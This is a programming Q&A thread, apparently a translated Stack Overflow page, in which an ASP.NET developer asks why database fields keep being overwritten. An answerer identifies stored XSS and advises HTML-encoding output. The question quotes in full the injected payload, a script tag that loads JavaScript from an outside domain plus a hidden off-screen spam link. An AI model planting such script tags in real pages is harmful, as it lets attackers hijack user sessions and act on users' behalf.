Pra*_*ade 4 sql asp.net security
我发现我的SQL Server数据库字段被黑客攻击如下.请注意,Original Content该字段的现有值已更改为以下内容.
Original Content</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=6 >crack</a>
Run Code Online (Sandbox Code Playgroud)
我认为这是一个SQL注入攻击.如果没有,请指导.我已确保关注,但数据库每隔几天就被黑客攻击.
1)我的所有数据访问都在数据集文件中,即app_code\DataLayer.xsd.我调用我的数据方法如下.
Dim memberDAL As new membersTableAdapter
Dim memberName As String = tbName.text
memberDAL.insertMember(memberName)
Run Code Online (Sandbox Code Playgroud)
上面的代码是否被限定为参数化查询.就我的问题而言,它是否是安全的数据访问.所有数据访问都以这种方式完成.有许多输入字段的表格,内容都在数据库中.然而,似乎正在发生的事情不是INSERT而是更新.甚至会员表也受到影响.例如,在aspnet_users表格中,名为"admin"的用户名更改为以下内容.
admin</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=1 >crack</a></title><script src=http://dfrgcc.com/ur.php></script>
Run Code Online (Sandbox Code Playgroud)
2)我使用CAPTCHA排除机器人,但这没有帮助.
我在共享主机上,根据服务器管理员我需要清理我的代码.请指教.
And*_*ndy 16
这是一次XSS攻击.您的数据库尚未受到损害,但它现在包含在您的域上下文中执行的外部托管Javascript的链接.这意味着他们可能能够劫持用户的会话,或代表用户提出请求.
您应该对输出到页面的数据进行HTML编码 - 替换<with <(以及其余部分)将"上下文编码"数据,确保应该是纯文本(上面的"注入"HTML)作为文本输出,并且不被浏览器解释为HTML(和Javascript).
要了解更多信息,请查看OWASP文章.